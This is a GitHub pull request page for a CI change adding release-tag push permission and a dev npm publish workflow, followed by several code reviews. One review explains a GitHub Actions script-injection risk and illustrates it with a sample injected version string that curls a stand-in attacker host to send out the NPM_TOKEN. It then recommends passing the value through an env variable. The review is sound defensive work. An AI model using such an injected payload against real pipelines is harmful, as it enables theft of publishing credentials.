Skip to content

ci: add contents:write permission for release git tag#152

Closed
yujiawei wants to merge 2 commits intodevelopfrom
fix/release-permissions
Closed

ci: add contents:write permission for release git tag#152
yujiawei wants to merge 2 commits intodevelopfrom
fix/release-permissions

Conversation

@yujiawei
Copy link
Copy Markdown
Collaborator

@yujiawei yujiawei commented Apr 7, 2026

Fix git tag push permission in release workflow. npm publish works, but git push origin v* fails because github-actions[bot] needs contents: write permission.

Copy link
Copy Markdown
Collaborator

@Jerry-Xin Jerry-Xin left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Nice work! Two changes here — quick notes on each:

release.yml — permissions: contents: write

Looks correct. github-actions[bot] needs this for git push origin v*. Good fix. ✅

dev-publish.yml

Well-structured workflow — path filtering, pinned Node 22, npm ci, type-check → test → build pipeline, and the dev version stamping with short SHA is clean.

A couple of suggestions:

  1. Add a concurrency group. If multiple pushes to develop land in quick succession, you could get parallel publishes racing against each other. Something like:

    concurrency:
      group: dev-publish
      cancel-in-progress: true

    This would cancel the earlier run and only publish the latest commit.

  2. Consider adding a lint step. The project's CONTRIBUTING.md mentions linting as part of the dev workflow. Adding npm run lint before type-check would keep CI consistent with the local dev flow.

Minor note on PR scope

The PR title says "add contents:write permission for release git tag" but it also introduces the entire dev-publish workflow. Might be worth either updating the title to reflect both changes (e.g., ci: add release tag permission + dev-publish workflow) or splitting into two PRs for cleaner git history. Not a blocker, just a suggestion.

Overall LGTM — good additions to the CI pipeline. 👍

Copy link
Copy Markdown
Collaborator

@lml2468 lml2468 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Review: LGTM,可以合入

contents: write 权限补全是必要的,release.yml 改动合理。

dev-publish.yml 在 develop push 时自动发 @dev tag,逻辑清晰,CI 验证通过。

风险低,直接合。

@Jerry-Xin
Copy link
Copy Markdown
Collaborator

Thanks for the LGTM @lml2468.

To be clear — the suggestions in my earlier review (concurrency group, lint step, title scope) are all non-blocking. Happy to merge as-is if @yujiawei is good with the current state.

@yujiawei let us know if you'd like to address any of those before merge, otherwise we can go ahead. 👍

@Jerry-Xin
Copy link
Copy Markdown
Collaborator


PR #152 Code Review: CI Workflow Changes

总体评价: ⚠️ 需要修改

PR 包含两个变更:为 release.yml 添加 contents: write 权限(修复 git tag push),以及新增 dev-publish.yml 工作流。核心修复正确,但存在一个安全问题和几个值得改进的地方。


关键发现

🔴 Critical — Shell 注入风险 (release.yml:66)

      - name: 🏷️ Create Git tag
        run: |
          VERSION=${{ steps.version-check.outputs.local }}
          git tag "v${VERSION}"
          git push origin "v${VERSION}"

${{ steps.version-check.outputs.local }} 直接内插到 shell 脚本中。这是 GitHub Actions 已知的 script injection 反模式。虽然值来自 package.jsonversion 字段,如果版本字符串被篡改为包含 shell 元字符(如 0.5.17; curl attacker.com/steal?t=$NPM_TOKEN),攻击者可在 runner 中执行任意命令并窃取 NPM_TOKEN

建议修复: 通过 env 传递,避免直接模板替换:

      - name: 🏷️ Create Git tag
        if: steps.version-check.outputs.skip == 'false'
        env:
          VERSION: ${{ steps.version-check.outputs.local }}
        run: |
          git tag "v${VERSION}"
          git push origin "v${VERSION}"

同样的问题也存在于 release.yml:46 的 version-check 步骤中(npm view 的输出赋给 REMOTE_VER),不过该值未用于 ${{ }} 插值,风险较低。


🟡 Warning — dev-publish.yml 路径过滤器不完整 (:6-8)

    paths:
      - 'openclaw-channel-dmwork/src/**'
      - 'openclaw-channel-dmwork/package.json'

遗漏了几个会影响产物的文件:

遗漏路径 影响
openclaw-channel-dmwork/index.ts 包的主入口点,修改后不会触发 dev publish
openclaw-channel-dmwork/tsconfig.json 编译选项变更不会触发重新发布

如果有人只修改了 index.ts(该文件是 package.json"main" 指向的入口),dev 版本不会自动发布。

建议修复:

    paths:
      - 'openclaw-channel-dmwork/src/**'
      - 'openclaw-channel-dmwork/index.ts'
      - 'openclaw-channel-dmwork/package.json'
      - 'openclaw-channel-dmwork/tsconfig.json'

🟡 Warning — CI 与 Dev Publish 重叠触发 (dev-publish.yml vs ci.yml)

ci.ymlpush: branches: [develop] 时触发(无路径过滤),dev-publish.yml 也在 push: branches: [develop] 时触发(有路径过滤)。当 src 文件变更时,两个 workflow 同时运行,意味着 type check / test / build 会重复执行,消耗双倍的 CI 分钟数。

这不是 bug,但值得注意。如果 CI 分钟数是关注点,可以考虑让 dev-publish 依赖 CI workflow 的成功完成(使用 workflow_run 触发器),而非重复跑同一套检查。这不是必须修改的,作为优化建议。


🔵 Suggestion — release.yml 权限范围可以更精细 (:7-8)

permissions:
  contents: write

当前在 workflow 级别设置 contents: write,这意味着所有 steps(包括 npm cinpm test 等)都有写权限。更安全的做法是在 job 级别设置,甚至只在需要 push 的 step 中使用单独的 token。不过对于这个简单的单 job workflow,当前粒度是可以接受的。


🔵 Suggestion — Dev publish 缺少失败通知机制

dev-publish.yml 没有失败通知(如 Slack、邮件)。如果 dev publish 静默失败,开发者可能不会意识到 @dev 包没有更新。考虑在后续迭代中添加。


🔵 Suggestion — dev-publish.yml publish step 名称有误导性 (:51)

      - name: 🧪 Publish to npm @dev

🧪 emoji 通常表示测试。发布是正式动作,建议改为 📤 Publish to npm @dev🚀 Publish to npm @dev,与 release.yml 中的 🚀 Publish to npm 保持一致。


审查总结

项目 评估
Bug 风险 低 — 核心逻辑正确
安全隐患 🔴 shell injection 模式需要修复
性能问题 不适用(CI 配置)
架构合理性 合理,与现有 CI/CD 模式一致
错误处理 version-check 的 2>/dev/null || echo "0.0.0" 处理恰当
代码风格 ci.yml / release.yml 风格一致
测试覆盖 不适用(CI 配置无需单测)

必须修改: release.yml:66${{ }} 直接 shell 插值改为 env 方式传递。

建议修改: dev-publish.yml 路径过滤器补充 index.ts

Copy link
Copy Markdown
Collaborator

@lml2468 lml2468 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Re-review after Jerry-Xin's 4/20 security findings.

Direction: correct goal, one security fix needed before merge.

🔴 Blocking — Shell injection in release.yml

# release.yml (current — vulnerable pattern)
run: |
  VERSION=${{ steps.version-check.outputs.local }}
  git tag "v${VERSION}"
  git push origin "v${VERSION}"

GitHub Actions ${{ }} expressions are textually substituted before the shell sees the script. If steps.version-check.outputs.local ever contains shell metacharacters (e.g. from a compromised package.json or malicious PR targeting this workflow), arbitrary commands execute. Fix with env-injection:

env:
  GIT_TAG_VERSION: ${{ steps.version-check.outputs.local }}
run: |
  git tag "v${GIT_TAG_VERSION}"
  git push origin "v${GIT_TAG_VERSION}"

Agree with Jerry-Xin's 4/20 finding. My earlier LGTM (4/14) was before that review — updating now.

✅ Non-blocking

  • contents:write permission fix is correct and necessary
  • dev-publish.yml structure is clean (path filtering, pinned Node 22, proper env injection for NPM_TOKEN already done correctly there)

@caster-Q caster-Q closed this Apr 29, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants